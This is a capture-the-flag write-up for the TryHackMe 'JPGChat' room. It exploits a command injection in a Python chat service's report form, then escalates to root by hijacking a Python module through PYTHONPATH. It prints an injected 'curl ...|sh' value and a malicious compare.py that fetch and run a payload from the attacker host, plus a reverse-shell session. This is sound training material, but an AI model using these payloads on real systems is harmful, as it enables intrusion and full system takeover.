Information
Room
Name: JPGChat
Profile: tryhackme.com
Difficulty: Easy
Description : Exploiting poorly made custom chatting service written in a certain language...
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
Network enumeration
Port and service scan with nmap:
# Nmap 7.91 scan initiated Tue May 18 20:31:41 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.158.37
Nmap scan report for 10.10.158.37
Host is up (0.028s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, NULL:
| Welcome to JPChat
| source code of this service can be found at our admin's github
| MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
|_ REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.91%I=7%D=5/18%Time=60A40846%P=x86_64-unknown-linux-gnu
SF:%r(NULL,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20thi
SF:s\x20service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\nM
SF:ESSAGE\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(cur
SF:rently\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x20t
SF:o\x20report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n")%
SF:r(GenericLines,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of
SF:\x20this\x20service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20gi
SF:thub\nMESSAGE\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x
SF:20\(currently\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT
SF:\]\x20to\x20report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof
SF:\)\n");
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 18 20:32:38 2021 -- 1 IP address (1 host up) scanned in 56.97 seconds
OSINT
The welcome message is suggesting us to do some OSINT:
Welcome to JPChat
source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
Google dork: JPChat site:github.com
The first result is the repository: https://github.com/Mozzie-jpg/JPChat
There we can study the source code of jpchat.py
:
#!/usr/bin/env python3
import os
print ( 'Welcome to JPChat' )
print ( 'the source code of this service can be found at our admin \' s github' )
def report_form ():
print ( 'this report will be read by Mozzie-jpg' )
your_name = input ( 'your name: \n ' )
report_text = input ( 'your report: \n ' )
os. system ( "bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
os. system ( "bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)
def chatting_service ():
print ( 'MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel' )
print ( 'REPORT USAGE: use [REPORT] to report someone to the admins (with proof)' )
message = input ( '' )
if message == '[REPORT]' :
report_form ()
if message == '[MESSAGE]' :
print ( 'There are currently 0 other users logged in' )
while True :
message2 = input ( '[MESSAGE]: ' )
if message2 == '[REPORT]' :
report_form ()
chatting_service ()
The command injection is obvious, report_form()
inject user input directly
into os.system()
.
I used Platypus as a listener to
easily get a powerful interactive shell :
$ nc 10.10.21.162 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[REPORT]
this report will be read by Mozzie-jpg
your name:
noraj; curl http://10.9.19.77:13338/|sh;
your report:
noraj
noraj
EoP: python module hijacking
wes@ubuntu-xenial:/$ id
uid=1001(wes) gid=1001(wes) groups=1001(wes)
wes@ubuntu-xenial:/$ sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
mail_badpass, env_keep+=PYTHONPATH
User wes may run the following commands on ubuntu-xenial:
(root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py
We can execute /opt/development/test_module.py
as root without a password.
#!/usr/bin/env python3
from compare import *
print (compare. Str ( 'hello' , 'hello' , 'hello' ))
The file is not writable by us:
wes@ubuntu-xenial:/$ ls -lh /opt/development/test_module.py
-rw-r--r-- 1 root root 93 Jan 15 18:58 /opt/development/test_module.py
But since the import in insecure (from compare import *
) and that sudo is
configured to keep PYTHONPATH
environment variable (env_keep+=PYTHONPATH
)
we should be able to hijack the PYTHONPATH
to force importing an
attacker-controlled python module to get code and command execution.
You can read about similar on some of my previous write-ups:
Let's check the current sys.path
:
wes @ ubuntu - xenial: / $ python3
Python 3.5 .2 (default, Oct 7 2020 , 17 : 19 : 0 2 )
[ GCC 5.4 .0 20160609 ] on linux
Type "help" , "copyright" , "credits" or "license" for more information.
>>> import sys
>>> sys.path
[ '' , '/usr/lib/python35.zip' , '/usr/lib/python3.5' , '/usr/lib/python3.5/plat-x86_64-linux-gnu' , '/usr/lib/python3.5/lib-dynload' , '/usr/local/lib/python3.5/dist-packages' , '/usr/lib/python3/dist-packages' ]
So we can find the legit compare module:
wes@ubuntu-xenial:/$ find /usr/lib/python3.5 -iname compare.py
/usr/lib/python3.5/compare.py
class compare :
def Str ( self , x , y ,):
x = str (x)
y = str (y)
if x == y:
return True ;
else :
return False ;
def Int ( self , x , y ,):
x = int (x)
y = int (y)
if x == y:
return True ;
else :
return True ;
def Float ( self , x , y ,):
x = float (x)
y = float (y)
if x == y:
return True ;
else :
return False ;
We can re-write a partial malicious version since only Str
is used.
class compare :
def Str ( self , x , y ,):
import os
os. system ( "curl http://10.9.19.77:13338/|sh" )
Let's write it in /dev/shm/
.
wes@ubuntu-xenial:/dev/shm$ vim /dev/shm/compare.py
And then execute the script that will load our malicious module:
$ sudo PYTHONPATH=/dev/shm/ /usr/bin/python3 /opt/development/test_module.py
Then we have to exit our current Platypus session, and join the root one:
(🐧) 10.10.21.162:42986 [wes] » List
2021/05/26 21:50:11 Listing 2 listening servers
2021/05/26 21:50:11 [9442daedd052d7cdfebc43092a4a3050] is listening on 0.0.0.0:13337, 0 clients
+-------------------------------------------------------------------------------------------------------------------------+
| 1b7fb280df68ceebae36060c938a2ced is listening on 0.0.0.0:13338, 2 clients |
+----------------------------------+--------------------+---------+------+--------+---------------+-------+---------------+
| HASH | NETWORK | OS | USER | PYTHON | TIME | ALIAS | GROUPDISPATCH |
+----------------------------------+--------------------+---------+------+--------+---------------+-------+---------------+
| 8785729982bf72750367895621cbff01 | 10.10.21.162:42986 | 🐧 | wes | true | 1 hour ago | | true |
| c72070ef313f556e870351d40f9b3125 | 10.10.21.162:42994 | Unknown | | false | 2 minutes ago | | true |
+----------------------------------+--------------------+---------+------+--------+---------------+-------+---------------+
2021/05/26 21:50:11 1b7fb280df68ceebae36060c938a2ced is listening on 0.0.0.0:13338, 2 clients listed
(🐧) 10.10.21.162:42986 [wes] » Jump c72070ef313f556e870351d40f9b3125
2021/05/26 21:50:30 The current interactive shell is set to: [c72070ef313f556e870351d40f9b3125] tcp://10.10.21.162:42994 (connected at: 2 minutes ago) [Unknown] [true]
(Unknown) 10.10.21.162:42994 [unknown] » PTY
2021/05/26 21:50:38 Establish PTY failed: fully interactive PTY require Python on the current client
(Unknown) 10.10.21.162:42994 [unknown] » Interact
2021/05/26 21:50:47 Interacting with [c72070ef313f556e870351d40f9b3125] tcp://10.10.21.162:42994 (connected at: 2 minutes ago) [Unknown] [true]
2021/05/26 21:50:47 PTY is not established, drop into normal reverse shell mode. You can use `PTY` command to enable PTY mode.
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/dev/shm
cd /root
cat /root/root.txt
JPC{edited}
Also huge shoutout to Westar for the OSINT idea
i wouldn't have used it if it wasnt for him.
and also thank you to Wes and Optional for all the help while developing
You can find some of their work here:
https://github.com/WesVleuten
https://github.com/optionalCTF
cat /home/wes/user.txt
JPC{edited}